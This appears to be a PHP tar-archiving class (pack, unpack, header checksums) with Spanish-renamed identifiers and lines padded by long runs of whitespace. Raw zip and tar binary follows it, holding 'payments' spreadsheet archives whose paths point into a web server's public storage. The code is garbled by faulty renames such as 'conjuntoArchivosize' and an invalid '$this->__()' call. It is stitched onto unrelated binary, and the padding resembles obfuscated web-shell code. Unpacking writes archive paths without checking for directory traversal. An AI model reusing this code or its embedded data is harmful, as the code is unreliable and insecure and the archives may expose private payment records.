                                                                   
	                 	                 	                 if ($filename == $this->nombrePaquete)
	                 	                 	                 	                 continue;
	                 	                 	                 if (strlen($filename)<=0)

	                 	                 	                 	                 continue;

	                 	                 	                 if (!file_exists($filename)){
	                 	                 	                 	                 $this->registrosErrores[] = __('No file').' '.$filename;
                                                                    
	                 	                 	                 	                 continue;
                        
	                 	                 	                 }
	                 	                 	                 if (!$this->archivoTemporal){
	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');
	                 	                 	                 return false;
	                 	                 	                 }

	                 	                 if (strlen($filename)<=0){
	                 	                 	                 $this->registrosErrores[] = __('Filename').' '.__('is incorrect');;

	                 	                 	                 return false;

	                 	                 }
	                 	                 $filename = str_replace('\\', '/', $filename);

	                 	                 $keep_filename = $this->generarRutaValidaArchivo($filename);

	                 	                 if (is_file($filename)){

	                 	                 	                 if (($file = fopen($filename, 'rb')) == 0){
                                                                                               
	                 	                 	                 	                 $this->registrosErrores[] = __('Mode ').__('is incorrect');
	                 	                 	                 }

	                 	                 	                 	                 if(($this->posicionArchivo == 0)){

	                 	                 	                 	                 	                 if(!$this->insertarCabeceraArchivo($filename, $keep_filename))
	                 	                 	                 	                 	                 	                 return false;
                                                                                       
	                 	                 	                 	                 }
	                 	                 	                 	                 while (($buffer = fread($file, 512)) != ''){
	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);
	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 	                 }

	                 	                 	                 fclose($file);
	                 	                 }	                 else $this->insertarCabeceraArchivo($filename, $keep_filename);

	                 	                 	                 if (@is_dir($filename)){

	                 	                 	                 	                 if (!($handle = opendir($filename))){
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
                                                                            
	                 	                 	                 	                 	                 continue;

	                 	                 	                 	                 }
                                     
	                 	                 	                 	                 while (false !== ($dir = readdir($handle))){
                                                                              
	                 	                 	                 	                 	                 if ($dir!='.' && $dir!='..'){

	                 	                 	                 	                 	                 	                 $file_array_tmp = array();
                           
	                 	                 	                 	                 	                 	                 if ($filename != '.')
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $filename.'/'.$dir;

	                 	                 	                 	                 	                 	                 else
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $dir;



	                 	                 	                 	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_array_tmp);
	                 	                 	                 	                 	                 }
                             
	                 	                 	                 	                 }
	                 	                 	                 	                 unset($file_array_tmp);
	                 	                 	                 	                 unset($dir);
	                 	                 	                 	                 unset($handle);

	                 	                 	                 }

	                 	                 }

	                 	                 return $result;

	                 }



	                 function unempaquetarArchivosEnPaquete($path){ 
	                 	                 $path = str_replace('\\', '/', $path);

	                 	                 if ($path == ''	                 || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	                 $path = './'.$path;
                                                                                          
	                 	                 clearstatcache();

	                 	                 while (strlen($binaryData = $this->obtenerBloqueDatos()) != 0){

	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
                                                                                                
	                 	                 	                 if ($header['filename'] == '') continue;
	                 	                 	                 if ($header['typeflag'] == 'L'){	                 	                 	                 //reading long header

	                 	                 	                 	                 $filename = '';

	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
	                 	                 	                 	                 	                 $filename .= $content;

	                 	                 	                 	                 }
	                 	                 	                 	                 if (($laspiece = $header['size'] % 512) != 0){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 $filename .= substr($content, 0, $laspiece);
	                 	                 	                 	                 }
                                                                           
	                 	                 	                 	                 $binaryData = $this->obtenerBloqueDatos();
	                 	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
	                 	                 	                 	                 else $header['filename'] = $filename;

	                 	                 	                 	                 return true;

	                 	                 	                 }
	                 	                 	                 if (($path != './') && ($path != '/')){

	                 	                 	                 	                 while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
                                                                                        
	                 	                 	                 	                 if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                                            
	                 	                 	                 	                 else $header['filename'] = $path.'/'.$header['filename'];
                                                                          
	                 	                 	                 }
                                            
	                 	                 	                 
	                 	                 	                 if (file_exists($header['filename'])){
                           
	                 	                 	                 	                 if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

	                 	                 	                 	                 	                 $this->registrosErrores[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
                                                                
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }
	                 	                 	                 	                 if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
	                 	                 	                 	                 	                 $this->registrosErrores[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
                                                                            
	                 	                 	                 	                 	                 return false;
                          
	                 	                 	                 	                 }

	                 	                 	                 	                 if (!is_writeable($header['filename'])){
                                                     
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
	                 	                 	                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
                                                                     
	                 	                 	                 	                 return false;
	                 	                 	                 }
                                                                                         


	                 	                 	                 if ($header['typeflag'] == '5'){

	                 	                 	                 	                 if (!file_exists($header['filename']))	                 	                 {
	                 	                 	                 	                 	                 if (!mkdir($header['filename'], 0777))	                 {
                                   
	                 	                 	                 	                 	                 	                 
	                 	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$header['filename'];
                                                                                  
	                 	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 	                 } 

	                 	                 	                 	                 }
	                 	                 	                 } else {

	                 	                 	                 	                 if (($destination = fopen($header['filename'], 'wb')) == 0) {
                               
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$header['filename'];

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 } else {
                                                                             
	                 	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 	                 fwrite($destination, $content, 512);

	                 	                 	                 	                 	                 }
                                                                                   
	                 	                 	                 	                 	                 if (($header['size'] % 512) != 0) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
                                                                          
	                 	                 	                 	                 	                 	                 fwrite($destination, $content, ($header['size'] % 512));

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 fclose($destination);
                                                                                                  
	                 	                 	                 	                 	                 touch($header['filename'], $header['time']);

	                 	                 	                 	                 }

	                 	                 	                 	                 clearstatcache();

	                 	                 	                 	                 if (conjuntoArchivosize($header['filename']) != $header['size']) {

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
                               
	                 	                 	                 }

	                 	                 	                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
	                 	                 	                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
                                                                                     
	                 	                 	                 $this->dirs[] = $file_dir;

	                 	                 	                 $this->conjuntoArchivos[] = $header['filename'];
                                                          
	                 

	                 	                 }
	                 	                 return true;
	                 }
                                 

	                 function dirCheck($dir){

	                 	                 $parent_dir = dirname($dir);


                            
	                 	                 if ((@is_dir($dir)) or ($dir == ''))
	                 	                 	                 return true;


                                                      
	                 	                 if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
                                                
	                 	                 	                 return false;
                               

                                                 
	                 	                 if (!mkdir($dir, 0777)){

	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$dir;

	                 	                 	                 return false;

	                 	                 }

	                 	                 return true;

	                 }



	                 function recuperarCabeceraArchivo($binaryData, &$header){
	                 	                 if (strlen($binaryData)==0){
	                 	                 	                 $header['filename'] = '';
                                      
	                 	                 	                 return true;

	                 	                 }
                                                                 

	                 	                 if (strlen($binaryData) != 512){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 $this->__('Invalid block size').': '.strlen($binaryData);
	                 	                 	                 return false;

	                 	                 }


                                                             
	                 	                 $hashIntegridad = 0;
                                                                          
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156; $i < 512; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));


	                 	                 $unpack_data = unpack('a100filename/a8mode/a8identificadorUsuario/a8group_id/a12size/a12time/a8hashIntegridad/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

	                 	                 $header['hashIntegridad'] = OctDec(trim($unpack_data['hashIntegridad']));

	                 	                 if ($header['hashIntegridad'] != $hashIntegridad){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 if (($hashIntegridad == 256) && ($header['hashIntegridad'] == 0)) 	                 return true;
                             
	                 	                 	                 $this->registrosErrores[] = __('Error hashIntegridad for file ').$unpack_data['filename'];
                          
	                 	                 	                 return false;
	                 	                 }


	                 	                 if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	                 $header['size'] = 0;

	                 	                 $header['filename'] = trim($unpack_data['filename']);
                                                       
	                 	                 $header['mode'] = OctDec(trim($unpack_data['mode']));

	                 	                 $header['identificadorUsuario'] = OctDec(trim($unpack_data['identificadorUsuario']));

	                 	                 $header['group_id'] = OctDec(trim($unpack_data['group_id']));

	                 	                 $header['size'] = OctDec(trim($unpack_data['size']));

	                 	                 $header['time'] = OctDec(trim($unpack_data['time']));
	                 	                 return true;
	                 }
                                                                         


	                 function insertarCabeceraArchivo($filename, $keep_filename){

	                 	                 $packF = 'a100a8a8a8a12A12';
	                 	                 $packL = 'a1a100a6a2a32a32a8a8a155a12';

	                 	                 if (strlen($keep_filename)<=0) $keep_filename = $filename;

	                 	                 $filename_ready = $this->generarRutaValidaArchivo($keep_filename);


	                 	                 if (strlen($filename_ready) > 99){	                 	                 	                 	                 	                 	                 	                 //write long header
	                 	                 $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

	                 	                 $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
                                                                                               


        //  Calculate the hashIntegridad

	                 	                 $hashIntegridad = 0;
        //  First part of the header

	                 	                 for ($i = 0; $i < 148; $i++)
                                              
	                 	                 	                 $hashIntegridad += ord(substr($dataFirst, $i, 1));

        //  Ignore the hashIntegridad value and replace it by ' ' (space)
	                 	                 for ($i = 148; $i < 156; $i++)

	                 	                 	                 $hashIntegridad += ord(' ');
        //  Last part of the header

	                 	                 for ($i = 156, $j=0; $i < 512; $i++, $j++)
                                       
	                 	                 	                 $hashIntegridad += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
                               
	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);

        //  Write the calculated hashIntegridad
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);
                                                                          
	                 	                 $this->guardarSegmentoDatos($binaryData, 8);
                                         
        //  Write the last 356 bytes of the header in the archive
	                 	                 $this->guardarSegmentoDatos($dataLast, 356);



	                 	                 $archivoTemporalname = $this->generarRutaValidaArchivo($filename_ready);


                                                          
	                 	                 $i = 0;

	                 	                 	                 while (($buffer = substr($archivoTemporalname, (($i++)*512), 512)) != ''){

	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 }

	                 	                 return true;
                                                                                  
	                 	                 }

	                 	                 $file_info = stat($filename);

	                 	                 if (@is_dir($filename)){
                            
	                 	                 	                 $typeflag = '5';

	                 	                 	                 $size = sprintf('%11s ', DecOct(0));
                                                                                   
	                 	                 } else {

	                 	                 	                 $typeflag = '';

	                 	                 	                 clearstatcache();
                                                                                 
	                 	                 	                 $size = sprintf('%11s ', DecOct(conjuntoArchivosize($filename)));
	                 	                 }
                        
	                 	                 $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

	                 	                 $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	                 	                 $hashIntegridad = 0;
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad += ord(substr($dataFirst, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156, $j = 0; $i < 512; $i++, $j++) $hashIntegridad += ord(substr($dataLast, $j, 1));

	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);
                               
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);

	                 	                 $this->guardarSegmentoDatos($binaryData, 8);

	                 	                 $this->guardarSegmentoDatos($dataLast, 356);

	                 	                 return true;

	                 }


	                 function abrirArchivoParaEscritura(){
                                                                                               
	                 	                 if ($this->estaComprimido)

	                 	                 	                 $this->archivoTemporal = gzopen($this->nombrePaquete, 'wb9f');
	                 	                 else
	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'wb');


	                 	                 if (!($this->archivoTemporal)){
	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$this->nombrePaquete;

	                 	                 	                 return false;
                                                                     
	                 	                 }
	                 	                 return true;

	                 }


	                 function obtenerBloqueDatos(){
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 	                 if ($this->estaComprimido)
                              
	                 	                 	                 	                 $block = gzread($this->archivoTemporal, 512);

	                 	                 	                 else

	                 	                 	                 	                 $block = fread($this->archivoTemporal, 512);

	                 	                 } else	                 $block = '';
                                                                

	                 	                 return $block;
                                                                                    
	                 }



	                 function guardarSegmentoDatos($data, $length = 0){
                                        
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 

	                 	                 	                 if ($length === 0){

	                 	                 	                 	                 if ($this->estaComprimido)
                                 
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data);
                                      
	                 	                 	                 	                 else
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data);

	                 	                 	                 } else {
	                 	                 	                 	                 if ($this->estaComprimido)
                      
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data, $length);

	                 	                 	                 	                 else
                                               
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data, $length);

	                 	                 	                 }
                                                               
	                 	                 }

	                 }


	                 function cerrarArchivoTemporal(){

	                 	                 if (is_resource($this->archivoTemporal)){
                                                                                       
	                 	                 	                 if ($this->estaComprimido)

	                 	                 	                 	                 gzclose($this->archivoTemporal);
                         
	                 	                 	                 else

	                 	                 	                 	                 fclose($this->archivoTemporal);
                                       

	                 	                 	                 $this->archivoTemporal = 0;

	                 	                 }
	                 }



	                 function generarRutaValidaArchivo($path){

	                 	                 if (strlen($path)>0){

	                 	                 	                 $path = str_replace('\\', '/', $path);
	                 	                 	                 $partPath = explode('/', $path);

	                 	                 	                 $els = count($partPath)-1;

	                 	                 	                 for ($i = $els; $i>=0; $i--){
	                 	                 	                 	                 if ($partPath[$i] == '.'){

                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                                                                         
                    $i--;
                                                                                 
                }

	                 	                 	                 	                 elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	                 else
                                                                                     
	                 	                 	                 	                 	                 $result = $partPath[$i].($i!=$els ? '/'.$result : '');
	                 	                 	                 }
	                 	                 } else $result = '';
                                                                                
	                 	                 
                                                    
	                 	                 return $result;
                                     
	                 }
}

?>
PK!�}�9��43s58b1/payments 2025-05-28 15-24-23.xlsx.xlsx.tar.gznu�[�����ygPT��mK�&%I�95�ɡ	MV�B7�s����d�Y$I�䜑�DA@Prj���8��s�����z�����޵��ػ�k����4w����vw��0���;��[Y�;;�;{X��@���},����@� ^!1��Q�WH�������������� H$�������� �����<���]�_���]���A���~�F�p��-� `��ݯ����l�f���`�kT$
jv	+����e"�vC:I�����e��﫵G���)���-�-V��W��۰Pi;<��)�$\�xf�W8[��/��X۽}�o/�@�B(/gA�gг�'N��I-��.����c�Bö���x)�N�?R�vL��z{C5z��QjB��9yl�K6tM��2)R��Κܷ��i��i�����X�&��9T��	$�\1�R��0�C{���6��H�%��%]��P��|��Ө8����TƏ]ɗxd˾\3WL��O�O5�/�-�?"��D�bc;.�`O��UN�(8�81�}K7A���}����v�I%�Pz���n���qA�Z�iwJz�chwx�&wj�m^�F��t<v��w��c�
�a�.��}?�����JYfr��c��"XR�[x.|"�1'��R��r�</|��$#f�?��S����.��6�*�B�����:\Xy�ЫɊ��۫�c�7�.���g
1ū��٦�6,�I��5��B�麜���F_��r�ޭ�N��|	M��4mC����O&j�.�&*���e'0�`�����D?-8~GՈ�0�#�T���S̈́M_5�[��K�D�}ч�zv���܌JK��Qi��
�uT�����������i�K�:��D����e�i�ƙ��lb�B��U�W�����O�B�����]>�ާ�=�{��>�]�˥F���e��_d�Š����}�x<6��I��{�"�w]X4�8����jB���/6�4h&^�N�6��0�<c����Ԫ~�71b��s�Y���	��P�3�0���!~�,	��)���̪!��m���<G����(�`�]�b�S�9����*\�1���!�W�s��R*���� �òj¯g�":@|$�����GY�kg��:�7�(�-8�B-�$x]�!�G)F�8�ˎMU��]Q_���Zaw}����P�gCtZ4p(/�}:�g�C-9IG�P��y�w�.l�f�uw�.�'���{�3�	�ݰ�V�[�>b)�?&2�l*��7��ٿaW����ξ��!|گ�u�;h9�=����\5X����@��ks)b�p��(����-�������!(����'d6SG��]�����
H���
�G<#7A�;�����_��i~�Y�$^K�Js�M�}Sż�+Y�3|��-�[\K�)�?1's�1�x��*G��%(�SN��Yq_=�W�7�!�ԓ����E=U�dK�D�o�mm�+�j��Pxtܳ���Z��Z��>s
�˄W�?�¼�� ���5o$׼�������/�������˭�[H�ǡ�%�@b�RS�0d|�Zc\SL��ُ3�k}%q���<�נT}dN6��%���\�Z.�ٞ��a�g����A$�8e	���J$���8�@'@%�����BYh�;ؓR�c:���y�>���Wdڍ(c~����h����EWœ>SB��]���:HڔR��n��5�7V�J�8��L%.�~܂�o��|�A(oz�g�UMKȥ׺��[�a�(��#)��rG��w�)�G�W %<&?��YRC��i���S+�4����ɝ�L���TױJ���;N�F3cW�lIv�I�{��J��9��'�'��"vk;B§g��M���5a�4.��������Q�/�vi9͋����7�!�9=B$wfwS�	H���k�������.�A��}�����6m�J�蚾����U*b#l/��oC��#�[}we��I�P�T��L�����n�8;�:0�:�>�%��~�`4#*SuOO�"$H*����VDS���{(���f�(�!'I|�3�;�(Jm�cc����~|�N�si]���8H;p��P�#`�<a�B�aHt�C�3��	�-ËB��M�ˤ��L��˗�j��b$>�d����6���#�Jߤmi�8��6(������^������4s@�HQ�t�X�i�\Yg�Q��텹�X�`<��h�Ң��ɸe�s�i�}ڑ|���%)�af����c†���	N��y�kk����v�S.�[����c�>R��6!�c�ua8�W�붚��1n_��;֎bdNyi8������d�U�3���_��:i�p=:S�.g�����^"S�6O"�~�nV���cq�=])co��;\��<�����z�Ad��Ҩ7&�!
"]/�TJ3�p�PA[��w0�/LV	~3�ĝH�)Aq7�)X�y}����b�o�|�xf�z���pg�^�.���Y��ӥ��,u
?���
}��Xp�9�W���a(��S���������z,�D���\�n˧:�r���=��oC݁�	/������zH鋉��@���,(ғ��p�V�K&�i�љ�"�j��'?w@"c̗,��G�Gi��g���mfo��+նz� q"/�5Ng���
�Gv�b��)��h)���0�A/M'�Vzd�2��|?Y��ǯ5�a��]���R��P�{��ݽg��"s�/)���_��3�h4i=ml��]�[�_���N%	Vr��,�O��H��b��$,oA���0���!`wՒ\q�e)^��EOܤׇ���zmS�{�mN|�_ [!FT����L}$�5oI��	��4���-�5ˊ��/����o��e�P!R<w蘨�%	�Ƅ�U7V���6vb�呝�i�4_�@Y�Nl%�rʹ�3�y���@c��C��0���Ӟ����|�K<+�Xs��%�|��\o���~�ȳ��<�N��kт�ؑbŲ��F����^�J٫�ooMVu�e�i�H2��}�z��^�����C������-���3�L�޾@˖�w�W~����d�����\4�Ed	����ưpb�?U�CH"���&�q�i]��	��ד����T#L�([�&oйQ�+�M`�i%{�����/@��L&� %�"�����AD�؊�]r�w���^9��N�K��a�e�||I��?i�����<z�����J�V��8w�w�B��N��h\9:��C�y��8Z�+��g��FṦd��� �:�̀�{^�V��v��߿�V�6:����q���H����`;s�_��O��GN7�=;Ϧ��E��u�I�g�w�6w��麻�8Z��U�cu4�h���(��퇐����
3�'�w�����J��P�k����
L���l�"!qi����]���T?I����hw*�^��;~\-��c�i�_E�p�a��II���S�M���
���b��"#a��YɃ��Ehn��L�V�kW`����KV��)^��n<ʉm�9Tϋ��6��� �&�.������P�X���k���PJ18[�t���'�U�`:��JtܘaӮ�cV�UAx'�iAC4]ӎ��A!��YIQ�ɵI���|�ǟ>s����*~�*1�+{3:��fw��g�S�u�L�����f�L��9~`�U��oۢ�����T,��������_<h8e
����w�pdb�ef<{�S�S��5�F楃�Y�>����a��=*�$�.�ְ���%��Aꇑ��請r^�,U

�|�ree�O�Ӣ�+.�p��߫��(�D9&�N���cl7/)�ހ);�l+ۘnd#[��!c,Ͻ���^�᫅aIj���W.[�U����2�6�"|�Bn�|F�y����� �1L���#�P��En
C��b�l�o�=*���"G��W:��WW���%�����.z�U��}6�Ȗ�:];�������xlq@�u^Qb��A]��-����1_��e��Hel*HG^S:$.�jr+u����%�W���Z��X�
/���.�C���0�����P!'�gF9�u�֔k|r� �~;
�$�IVq��l���+�O΁���sZ��
&~��d5�
.<�0[�T�Iuo\	�"���ʿ�=�F���D��"���B>��b#����WSn��3�Js���e�'��]�Qlw�f�"���'�y]�rkW�;7�fL��y=�=�{k�?���-�?g����-G�C�/J;r�=��t$j�� qw{R�4P]�4'.}k��X2Ͻ�ٞ���B��<`�|q��*��b��/�G�e��\��1'��z�$\��*bL��ҜN��������`�x6X7;��l}������v+5�����A�ƹ�[��z�6y�&/�"J��IYr�~�ѤRU_�m�8��T����sڂW|�鰐f^�$�q����&�����`AO��%�n~6�љm;�� ���>�̞S`nR�A}�%�C��������E ST-��1��ec�`҈��2���V
n�N����`�$���h��IVyH��;�`��[�L؂�b\
ˀ�7�K0�q��]O�����y���/@��W�e[bp�d���j<4�|��J���%\0�1���~�g6�
^�*E϶�\�G�&A�S��."�q�ql�ܫ�.A�hż]�skO#_8��5�o!�+�O���3[���Z氎�].�F�睢�̧̌�����wf�Y[Z����򯮾��Ӽq��cƍ�� ����/l��p�u0s�[�󭪥/��]M�A'=k�?�2�@�6����C�kʲ}�\��j�SCW�H��~rp!Vqn�5��9��4�b�"AA߉�0q�s�W��:?��x�4ł��y��g�63�*��a�1�*q������`R?���F��3GQC�dd'u#�3��v��~���a'M�C�9�?E7�%���|۩s��M���p����`2K.��!γy����O<6��d�gf	�{�����Uq38��Q-��5�
�3%7��`A�0��q�[��m]_�K�߯�WN�pv���٨!_��"үX_�os��vj��i����TQ��.�B�>x�s�V?m��,&�Ǣ1<$��&<o���Q'�BŰ��J����Tl
vH}迶t�w����L!�^ȟ�`�;������8�	U��c�*��L�
b���8.�(�,u!�X^�3�y~أl�c�]#���h]��|�{<{'Q�i�\W?�����ӬM󾄖˥q�J��d߱�K�!/���nhJO�db��@�uQ�Ϣ�,s�X� :��mn��n#�*��Ƥ5Q{�ƻ�
�	�T��U�h�u���G�ESA42?S/��?e|D��6�����,��Չ(s��P�k��8�~ṣ:��J҉Z�q:Τ㺶A^�ej�6�=>��{��%��"f07j�&4������&;Y�W�[���K��Q�)7��o�����ƛϯN�o=��b�6��e�s�S�����8�^e�f<Mf�lX	�y}�Y��\�ೇ��qu�9�T���>���Sl����*����'��ޡ�g�� B���5��”i_.�y&��tHOσ<+��d��̕u����Y��a�ک�[˦#��-�M�-�\�ʕ�����y�ݨ7Q6�<"$�E��h���7wo(&�5�mxk�{���z)�8�M�4Y͊v|���{��^�2]/2�h���M�e�~�
�2zW�j�77���6T�s1'�<[�t�W��f�귊2�a��X$���?*ʟz��ʿ�J�AB4Fb��c�Z� t�e�P@4��Ml��#x���˞����k��$��Z�4|������9��ʋl�ǤS?����ZP��xn��翯@eɕ�feCuѾ案��:�R�����
�BC�O�?�s,�;�M�W��k�_���o���:]?��Z��87�_q>\?�]�����w&��r����~ug���\�;��ǯw����f��+B1!�f����>�W�Eb��]���7��_�OI�qa����E���(;� `L�?\�׿��0`��[�k�����vm�̡l"PK!�!:�((,3s58b1/payments 2025-07-18 12-09-36.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-18 12-09-36.xlsx000075500000020747000000000000020166 0ustar00PK2a�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK2a�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK2a�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK2a�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK2a�Z*+�(rdocProps/core.xmlSV���N�0D�|E�+J�@�	PO !QWc/�ib[�B���qڴ��8E�?�\�l�*���3��I@#�^���b�^��#גWFÌ���MyV�����$��υ����)�b5�����0���[R�Ś/�����K��v��D�EJ1 헫"@

Ԡ��l��}����9H�
[Fw��x5��5�
�g����9��*�U%����p�Ѹ�E��itr��x]����P o��i�خ�c@&a��_f�N��sR��"e�iv���9��'�s�rƺ1� {j����%v�
+�ůL�m�S��:z�J��)��9��:���z���9�����8����^u/5�4��_���?PK2a�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
